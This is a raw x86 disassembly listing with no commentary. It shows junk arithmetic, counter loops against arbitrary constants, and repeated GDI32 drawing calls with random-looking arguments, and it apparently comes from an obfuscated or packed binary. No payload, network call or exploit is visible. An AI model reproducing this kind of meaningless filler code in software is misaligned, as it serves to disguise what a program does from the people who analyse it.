xor ecx, eax
mov edx, dword [0x40702c]
mov byte [edx], cl
mov dword [ebp - 0x26c], 0xd3c4
mov dword [ebp - 0x33c], 0xee1f
cmp dword [ebp - 0x1c0], 0x15b0
jb 0x4028a4
mov eax, dword [ebp - 0x1c0]
sub eax, 0x9e
mov dword [ebp - 0x1c0], eax
movzx ecx, word [ebp - 0x24]
mov edx, dword [ebp - 0x94]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x78]
mov word [edx], cx
push 7
mov eax, dword [ebp - 0x4f4]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x402861
mov ecx, dword [ebp - 0x1c4]
add ecx, 0xcd
mov dword [ebp - 0x1c4], ecx
push 0x7e
push 0x69
push 0x19
push 0x5b
push 0x40
push 0x76
push 0x7e
push 0x7b
mov edx, dword [ebp - 0x4c4]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x3d4], eax
push 2
mov eax, dword [ebp - 0x5f4]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1c4], 0xc249
jne 0x4028a4
push 6
mov ecx, dword [ebp - 0x4b4]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov edx, dword [ebp - 0x1c8]
add edx, 0xe4
mov dword [ebp - 0x1c8], edx
mov eax, dword [ebp - 0x6c]
movsx edx, byte [eax]
mov eax, dword [ebp - 0x68]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x15], dl
movsx ecx, word [0x407030]
mov edx, dword [0x407028]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [0x407020]
mov word [edx], cx
cmp dword [ebp - 0x1c8], 0x3779
jne 0x402909
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x84], eax
push 2
mov ecx, dword [ebp - 0x4b8]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x1cc], 0xa7a2
je 0x40299e
mov edx, dword [ebp - 0x1cc]
add edx, 0x62
mov dword [ebp - 0x1cc], edx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0x60]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x48]
mov dword [edx], ecx
jmp 0x402971
lea eax, [ebp - 1]
mov dword [0x40703c], eax
mov dword [ebp - 0x204], 0xa53e
mov dword [ebp - 0x234], 0xa58b
movzx ecx, word [ebp - 0x34]
movzx edx, word [ebp - 8]
or ecx, edx
mov eax, dword [ebp - 0x78]
mov word [eax], cx
mov dword [ebp - 0x28c], 0xb3ed
mov dword [ebp - 0x290], 0x8a75
mov dword [ebp - 0x74], 0x407002
mov dword [ebp - 0x2a0], 0xdec1
movsx edx, word [ebp - 0xc]
mov eax, dword [0x407020]
movsx ecx, word [eax]
shl edx, cl
mov word [0x407004], dx
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x84]
add edx, dword [ecx]
mov dword [ebp - 0xbc], edx
cmp dword [ebp - 0x1d0], 0xc7fb
jbe 0x402a8e
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x48]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x1d0]
sub eax, 0x2b
mov dword [ebp - 0x1d0], eax
movzx edx, byte [ebp - 2]
mov eax, dword [0x40703c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x407006], dl
push 0xe7
push 7
push 0x9c
push 0x89
push 0xef
push 0xa6
push 0x88
push 0x8a
mov ecx, dword [ebp - 0x4bc]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x5fc], eax
jmp 0x402a15
push 0
mov edx, dword [ebp - 0x600]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov eax, dword [ebp - 0x54]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5c]
movzx eax, word [edx]
imul ecx, eax
mov edx, dword [ebp - 0x78]
mov word [edx], cx
push 0x2e
push pe_nt_image_headers32
push 0x6c
push 0x78
push 0x4c
push 0x3d
push 0xef
push 0xb0
mov eax, dword [ebp - 0x604]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x144], eax
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0x2e8], 0x8979
push 0
mov edx, dword [ebp - 0x454]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x1d4], 0x7f3b
jbe 0x402b3b
mov eax, dword [ebp - 0x1d4]
sub eax, 0xfc
mov dword [ebp - 0x1d4], eax
mov ecx, dword [0x40701c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x14]
and edx, eax
mov word [0x407004], dx
jmp 0x402b06
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x70]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x84], eax
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x284], 0x970
push 0
mov edx, dword [ebp - 0x608]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x1dc]
sub eax, 0x32
mov dword [ebp - 0x1dc], eax
movzx ecx, byte [ebp - 2]
mov edx, dword [0x40702c]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x407006], cl
push 4
push 0xe2
push 0x30
push 9
push 0x1f
push 0xc1
push 0x51
push 0x44
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x1dc], 0xf9ba
jae 0x402b79
push 5
mov edx, dword [ebp - 0x34c]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
movzx eax, word [ebp - 8]
movzx ecx, word [0x407018]
imul eax, ecx
mov edx, dword [ebp - 0x54]
mov word [edx], ax
mov dword [ebp - 0x348], 0xddb8
mov eax, dword [ebp - 0x68]
mov cl, byte [eax]
mov byte [ebp - 0x4a], cl
mov edx, dword [0x40701c]
mov ax, word [edx]
mov word [0x407040], ax
cmp dword [ebp - 0x1e0], 0x9c9c
jbe 0x402c45
mov ecx, dword [ebp - 0x1e0]
sub ecx, 0xa2
mov dword [ebp - 0x1e0], ecx
mov edx, dword [ebp - 0x70]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x44]
sar eax, cl
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
jmp 0x402c16
mov edx, dword [ebp - 0x124]
mov eax, dword [edx]
xor eax, dword [0x407014]
mov ecx, dword [ebp - 0xe0]
mov dword [ecx], eax
cmp dword [ebp - 0x1e4], 0xd498
jb 0x402c9c
mov edx, dword [ebp - 0x1e4]
sub edx, 0x1c
mov dword [ebp - 0x1e4], edx
movzx eax, byte [ebp - 2]
movzx ecx, byte [ebp - 1]
sub eax, ecx
mov edx, dword [0x407038]
mov byte [edx], al
mov eax, dword [ebp - 0x5c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x54]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 8], cx
jmp 0x402c5b
movsx edx, byte [ebp - 0x2d]
mov eax, dword [ebp - 0x6c]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x25], dl
push 1
mov ecx, dword [ebp - 0x250]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x550], eax
mov edx, dword [0x407028]
movsx eax, word [edx]
movsx ecx, word [0x407040]
shl eax, cl
mov word [0x407008], ax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x84]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x80]
mov dword [eax], edx
mov dword [ebp - 0x20c], 0x852b
mov dword [ebp - 0x390], 0x920d
push 4
mov ecx, dword [ebp - 0x60c]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0xe0
push 0x2b
push 0x67
push 0x2f
push 0x72
push 0x1e
push 0x56
push 0x33
mov edx, dword [ebp - 0x500]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x3c0], 0x4e1e
lea edx, [ebp - 2]
mov dword [0x407044], edx
mov dword [ebp - 0x378], 0x3569
mov eax, dword [ebp - 0x94]
movzx ecx, word [eax]
movzx edx, word [0x407018]
or ecx, edx
mov word [ebp - 0x34], cx
push 2
mov eax, dword [ebp - 0x4e0]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x1fc], 0x2f6
mov ecx, dword [ebp - 0x68]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x74]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x1d], dl
mov dword [ebp - 0x3e8], 0x2cc9
mov edx, dword [0x407028]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x10]
xor eax, ecx
mov edx, dword [0x407020]
mov word [edx], ax
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x70]
mov dword [edx], ecx
mov dword [ebp - 0x224], 0xa15e
mov dword [ebp - 0x238], 0x5e88
lea eax, [ebp - 0xa0]
mov dword [ebp - 0xac], eax
lea ecx, [ebp - 2]
mov dword [0x407048], ecx
mov edx, dword [ebp - 0x1e8]
add edx, 0xa2
mov dword [ebp - 0x1e8], edx
movzx eax, word [ebp - 8]
mov ecx, dword [ebp - 0x54]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x94]
mov word [ecx], ax
cmp dword [ebp - 0x1e8], 0xa0f1
jne 0x402df9
cmp dword [ebp - 0x1ec], 0x43d5
ja 0x402e6b
mov edx, dword [ebp - 0x1ec]
add edx, 0x1e
mov dword [ebp - 0x1ec], edx
push 1
mov eax, dword [ebp - 0x45c]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x264], eax
movsx ecx, byte [ebp - 0x15]
movsx edx, byte [ebp - 0x1d]
sub ecx, edx
mov byte [ebp - 0x4a], cl
jmp 0x402e2c
movsx eax, word [ebp - 0x14]
movsx ecx, word [ebp - 0xc]
add eax, ecx
mov edx, dword [0x407028]
mov word [edx], ax
push 8
mov eax, dword [ebp - 0x4c0]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x1f0], 0x312b
jb 0x402ed6
mov ecx, dword [ebp - 0x1f0]
sub ecx, 0x53
mov dword [ebp - 0x1f0], ecx
push 0x4e
push 0xf4
push 0xd9
push 0x48
push 0x11
push 0x67
push 0x4e
push 0xf8
mov edx, dword [ebp - 0x4c4]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x610], eax
jmp 0x402e8d
push 1
mov eax, dword [ebp - 0x614]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov dword [ebp - 0x328], 0x3c6b
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0xb8]
and edx, dword [ecx]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0x2bc], 0x24a6
lea eax, [ebp - 0x88]
mov dword [ebp - 0xf8], eax
mov dword [0x40704c], 0x40701a
mov ecx, dword [ebp - 0x54]
movzx eax, word [ecx]
mov edx, dword [ebp - 0x5c]
movzx ecx, word [edx]
cdq
idiv ecx
mov edx, dword [ebp - 0x94]
mov word [edx], ax
push 2
mov eax, dword [ebp - 0x4d4]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x464], eax
cmp dword [ebp - 0x1f4], 0x7a28
je 0x402fa8
mov ecx, dword [ebp - 0x1f4]
add ecx, 0x38
mov dword [ebp - 0x1f4], ecx
push 0x4d
push 0x82
push 0xe9
push 0x81
push 0x47
push 0x8a
push 0x3c
push 0x55
mov edx, dword [ebp - 0x4cc]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x470], eax
movsx eax, byte [ebp - 0x4a]
movsx ecx, byte [ebp - 0x2d]
xor eax, ecx
mov edx, dword [ebp - 0x6c]
mov byte [edx], al
jmp 0x402f4d
mov eax, dword [0x407020]
movsx edx, word [eax]
movsx ecx, word [0x407040]
shl edx, cl
mov word [0x407008], dx
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x21c], 0x82c0
mov dword [ebp - 0x214], 0xa546
mov dword [ebp - 0x244], 0x7720
mov dword [ebp - 0x324], 0x831f
mov edx, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x60]
shr edx, cl
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x1f8]
sub eax, 3
mov dword [ebp - 0x1f8], eax
push 6
mov ecx, dword [ebp - 0x4c8]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov edx, dword [0x40704c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x1c]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [0x407038]
mov byte [ecx], al
cmp dword [ebp - 0x1f8], 0x3830
ja 0x402ff4
cmp dword [ebp - 0x1fc], 0x2f6
ja 0x40307d
mov edx, dword [ebp - 0x1fc]
add edx, 0xe0
mov dword [ebp - 0x1fc], edx
mov eax, dword [ebp - 0x94]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x5c]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 8], cx
jmp 0x403048
cmp dword [ebp - 0x200], 0xcfc1
jb 0x4030c3
mov ecx, dword [ebp - 0x200]
sub ecx, 0x30
mov dword [ebp - 0x200], ecx
mov edx, dword [ebp - 0x74]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2f]
sar eax, cl
mov byte [ebp - 0x15], al
movsx edx, word [0x407040]
mov eax, dword [0x407020]
movsx ecx, word [eax]
shl edx, cl
mov ecx, dword [0x407028]
mov word [ecx], dx
jmp 0x40307d
mov edx, dword [ebp - 0xd0]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov dword [ebp - 0x3d8], 0xd942
mov dword [ebp - 0x30c], 0xab98
push 0
mov edx, dword [ebp - 0x4cc]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov dword [ebp - 0xe8], ecx
lea edx, [ebp - 2]
mov dword [0x407050], edx
movzx eax, word [ebp - 0x8c]
movzx ecx, word [ebp - 8]
cdq
idiv ecx
mov edx, dword [ebp - 0x54]
mov word [edx], ax
mov dword [ebp - 0x25c], 0x6235
mov eax, dword [ebp - 0x68]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x74]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x16], cl
mov dword [ebp - 0x208], 0xa34c
movsx ecx, word [0x407008]
mov edx, dword [0x407020]
movsx eax, word [edx]
and ecx, eax
mov word [0x407004], cx
mov dword [ebp - 0x2ac], 0xd862
mov dword [ebp - 0x2a8], 0x7475
cmp dword [ebp - 0x204], 0xa463
jb 0x4031a9
mov ecx, dword [ebp - 0x204]
sub ecx, 0xdb
mov dword [ebp - 0x204], ecx
mov edx, dword [ebp - 0xd0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x70]
add eax, dword [ecx]
mov dword [ebp - 0x38], eax
jmp 0x403179
mov edx, dword [ebp - 0x88]
add edx, dword [ebp - 0xa0]
mov dword [ebp - 0x60], edx
movzx eax, byte [0x407003]
movzx ecx, byte [ebp - 2]
add eax, ecx
mov byte [0x407007], al
mov edx, dword [ebp - 0x78]
mov ax, word [edx]
mov word [ebp - 0x58], ax
movsx edx, byte [ebp - 0x25]
mov eax, dword [ebp - 0x74]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x4a], dl
cmp dword [ebp - 0x208], 0xa288
jbe 0x40321a
mov ecx, dword [ebp - 0x208]
sub ecx, 0x62
mov dword [ebp - 0x208], ecx
mov edx, dword [0x40701c]
movsx eax, word [edx]
mov ecx, dword [0x407028]
movsx edx, word [ecx]
and eax, edx
mov word [0x407004], ax
jmp 0x4031e3
cmp dword [ebp - 0x20c], 0x85c1
jae 0x403247
mov eax, dword [ebp - 0x20c]
add eax, 0x32
mov dword [ebp - 0x20c], eax
mov ecx, dword [ebp - 0x70]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xd8]
mov dword [eax], edx
jmp 0x40321a
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x23c], 0x7efd
mov dword [ebp - 0x318], 0x2f7c
cmp dword [ebp - 0x210], 0x8cff
jb 0x4032a7
mov edx, dword [ebp - 0x210]
sub edx, 0xda
mov dword [ebp - 0x210], edx
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 1]
xor ecx, edx
mov eax, dword [0x407034]
mov byte [eax], cl
movzx ecx, word [ebp - 8]
movzx edx, word [ebp - 0x34]
or ecx, edx
mov eax, dword [ebp - 0x78]
mov word [eax], cx
jmp 0x403264
push 0xa7
push 0x5b
push 0x6b
push 9
push 5
push 0x34
push 6
push 0xae
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x540], eax
mov edx, dword [ebp - 0x68]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc8]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x6c]
mov byte [edx], al
mov dword [ebp - 0x2d0], 0x2afa
mov dword [ebp - 0x354], 0x85f1
cmp dword [ebp - 0x214], 0xa546
ja 0x40334b
mov eax, dword [ebp - 0x214]
add eax, 0xae
mov dword [ebp - 0x214], eax
push 0x70
push 0xee
push 0x95
push 0xbe
push 0x85
push 0x50
push 0xe0
push 7
mov ecx, dword [ebp - 0x34c]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x508], eax
jmp 0x4032fa
push 2
mov edx, dword [ebp - 0x3e4]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x218], 0x720a
jbe 0x4033a4
mov eax, dword [ebp - 0x218]
sub eax, 0x44
mov dword [ebp - 0x218], eax
push 2
mov ecx, dword [ebp - 0x514]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x2c0], eax
mov edx, dword [0x407020]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xc]
sar eax, cl
mov ecx, dword [0x40701c]
mov word [ecx], ax
jmp 0x40335a
lea edx, [ebp - 0xb8]
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0x88]
or eax, dword [ebp - 0xb0]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x21c]
add ecx, 0x18
mov dword [ebp - 0x21c], ecx
movzx edx, byte [ebp - 2]
movzx eax, byte [ebp - 1]
xor edx, eax
mov byte [0x407003], dl
mov ecx, dword [ebp - 0x54]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x78]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x54]
mov word [ecx], dx
cmp dword [ebp - 0x21c], 0x82f0
jb 0x4033bf
lea edx, [ebp - 0x25]
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0x2cc], 0xe258
cmp dword [ebp - 0x220], 0xf915
ja 0x40345a
mov eax, dword [ebp - 0x220]
add eax, 0xab
mov dword [ebp - 0x220], eax
mov ecx, dword [0x407028]
movsx edx, word [ecx]
mov eax, dword [0x40701c]
movsx ecx, word [eax]
sub edx, ecx
mov eax, dword [0x407020]
mov word [eax], dx
push 6
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x403411
cmp dword [ebp - 0x224], 0xa2a0
jae 0x4034ef
push 0x51
push 0xbf
push 0xd4
push 0x1f
push 0x33
push 0xcb
push 0xb6
push 0xb0
mov edx, dword [ebp - 0x100]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x544], eax
mov eax, dword [ebp - 0x224]
add eax, 0xa1
mov dword [ebp - 0x224], eax
push 0xad
push 0xb0
push 0x13
push 0xbf
push 0xf9
push 0x7d
push 0x4e
push 0x1b
mov ecx, dword [ebp - 0xfc]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x370], eax
mov edx, dword [ebp - 0x44]
and edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov dword [eax], edx
jmp 0x40345a
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
and edx, dword [ebp - 0x88]
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 2]
and ecx, edx
mov eax, dword [0x407050]
mov byte [eax], cl
movzx ecx, word [section..data]
movzx edx, word [ebp - 0x58]
imul ecx, edx
mov word [ebp - 0x50], cx
mov dword [ebp - 0x3f8], 0xbfbe
cmp dword [ebp - 0x228], 0x66c0
ja 0x403567
mov eax, dword [ebp - 0x228]
add eax, 0x2c
mov dword [ebp - 0x228], eax
mov ecx, dword [ebp - 0x6c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x1d]
sub edx, eax
mov byte [ebp - 0x25], dl
push 3
mov ecx, dword [ebp - 0x52c]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x40352c
mov dword [0x407054], 0x407030
mov edx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x44]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22c]
add edx, 0x84
mov dword [ebp - 0x22c], edx
push 2
mov eax, dword [ebp - 0x510]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0xb0]
xor edx, dword [ecx]
mov eax, dword [ebp - 0xac]
mov dword [eax], edx
cmp dword [ebp - 0x22c], 0x6446
jb 0x403586
cmp dword [ebp - 0x230], 0x2e2e
jae 0x40361b
mov ecx, dword [ebp - 0x230]
add ecx, 0x71
mov dword [ebp - 0x230], ecx
push 0x9f
push 0x26
push 9
push 0x6f
push 0x98
push 0xff
push 7
push 0xae
mov edx, dword [ebp - 0x4dc]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x438], eax
jmp 0x4035cf
movzx eax, byte [ebp - 2]
movzx ecx, byte [0x407006]
add eax, ecx
mov byte [0x40701b], al
cmp dword [ebp - 0x234], 0xa4cb
jb 0x40366b
mov edx, dword [ebp - 0x234]
sub edx, 0x60
mov dword [ebp - 0x234], edx
push 1
mov eax, dword [ebp - 0x4d0]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov ecx, dword [ebp - 0x5c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x58]
sar edx, cl
mov eax, dword [ebp - 0x54]
mov word [eax], dx
jmp 0x40362d
cmp dword [ebp - 0x238], 0x5efc
ja 0x4036b1
mov ecx, dword [ebp - 0x238]
add ecx, 0x3a
mov dword [ebp - 0x238], ecx
mov edx, dword [ebp - 0x74]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xe4]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x16], al
movsx eax, word [ebp - 0x14]
mov ecx, dword [0x40701c]
movsx edx, word [ecx]
or eax, edx
mov word [0x407030], ax
jmp 0x40366b
push 0
mov eax, dword [ebp - 0x13c]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x23c], 0x7e2f
jbe 0x403705
mov ecx, dword [ebp - 0x23c]
sub ecx, 0x67
mov dword [ebp - 0x23c], ecx
mov edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
sar edx, cl
mov eax, dword [ebp - 0x64]
mov dword [eax], edx
push 1
mov ecx, dword [ebp - 0x4d4]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x3dc], eax
jmp 0x4036c6
cmp dword [ebp - 0x240], 0x33a8
je 0x403744
mov edx, dword [ebp - 0x240]
add edx, 0x6a
mov dword [ebp - 0x240], edx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x48]
mov dword [edx], ecx
push 3
mov eax, dword [ebp - 0x434]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x403705
cmp dword [ebp - 0x244], 0x78c0
ja 0x4037bc
mov ecx, dword [ebp - 0x244]
add ecx, 0xd0
mov dword [ebp - 0x244], ecx
push 0x6c
push 0x41
push 0x16
push 6
push 0xa2
push 0xb1
push 0x78
push 0x4a
mov edx, dword [ebp - 0x618]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x430], eax
push 0xdc
push 0x92
push 0xb4
push 0xa2
push 1
push 0x7d
push 0x2e
push 0x6c
mov eax, dword [ebp - 0x61c]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x370], eax
jmp 0x403744
mov ecx, dword [ebp - 0x1c]
mov dl, byte [ecx]
mov byte [0x407032], dl
mov ax, word [ebp - 0x58]
mov word [ebp - 0x40], ax
mov dword [ebp - 0x368], 0x57fe
push 0
mov ecx, dword [ebp - 0x4d8]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
movsx edx, byte [ebp - 0x16]
mov eax, dword [ebp - 0x6c]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x15], dl
cmp dword [ebp - 0x248], 0x6dd2
ja 0x40382c
mov edx, dword [ebp - 0x248]
add edx, 0xc0
mov dword [ebp - 0x248], edx
push 0
mov eax, dword [ebp - 0x43c]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x4fc], eax
jmp 0x4037f7
cmp dword [ebp - 0x24c], 0xf11d
jbe 0x403871
mov ecx, dword [ebp - 0x24c]
sub ecx, 0xa6
mov dword [ebp - 0x24c], ecx
movsx edx, word [ebp - 0xc]
movsx ecx, word [0x407030]
shl edx, cl
mov word [0x407004], dx
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x44]
sub ecx, dword [eax]
mov dword [ebp - 0x84], ecx
jmp 0x40382c
push 2
mov edx, dword [ebp - 0x434]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0xa0]
sub ecx, dword [eax]
mov dword [ebp - 0xc4], ecx
mov dword [ebp - 0x3a0], 0x8150
mov edx, dword [ebp - 0x1c]
movzx eax, byte [edx]
movzx ecx, byte [0x40701a]
sub eax, ecx
mov byte [0x407007], al
movzx edx, word [ebp - 0x34]
movzx eax, word [section..data]
add edx, eax
mov ecx, dword [ebp - 0x54]
mov word [ecx], dx
push 2
mov edx, dword [ebp - 0x250]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x460], eax
push 0x76
push 0x32
push 0x3f
push 0x6f
push 0x9d
push 0xa3
push 0x81
push 0x1b
mov eax, dword [ebp - 0x434]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x624], eax
lea ecx, [ebp - 0x25]
mov dword [ebp - 0xc0], ecx
movsx edx, word [ebp - 0x14]
movsx ecx, word [ebp - 0xc]
shl edx, cl
mov word [0x40700c], dx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x44]
xor ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x254], 0xf378
je 0x403963
mov edx, dword [ebp - 0x254]
add edx, 0xb2
mov dword [ebp - 0x254], edx
push 1
mov eax, dword [ebp - 0x628]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x403934
push 3
mov ecx, dword [ebp - 0xfc]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0x46
push 0xe0
push 1
push 0x9d
push 0xbf
push 0xa1
push 0xa
push 7
mov edx, dword [ebp - 0xfc]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov dword [ebp - 0xcc], ecx
push 0xec
push 0x94
push 0xb0
push 0x75
push 0x59
push 0x3e
push 0x54
push 0x1d
mov edx, dword [ebp - 0x45c]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 2]
and ecx, edx
mov byte [0x407006], cl
mov eax, dword [ebp - 0x258]
add eax, 0x73
mov dword [ebp - 0x258], eax
movzx ecx, word [ebp - 0x24]
mov edx, dword [ebp - 0x54]
movzx eax, word [edx]
or ecx, eax
mov edx, dword [ebp - 0x5c]
mov word [edx], cx
movsx eax, byte [ebp - 0x1d]
mov ecx, dword [ebp - 0x6c]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x74]
mov byte [edx], al
push 3
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
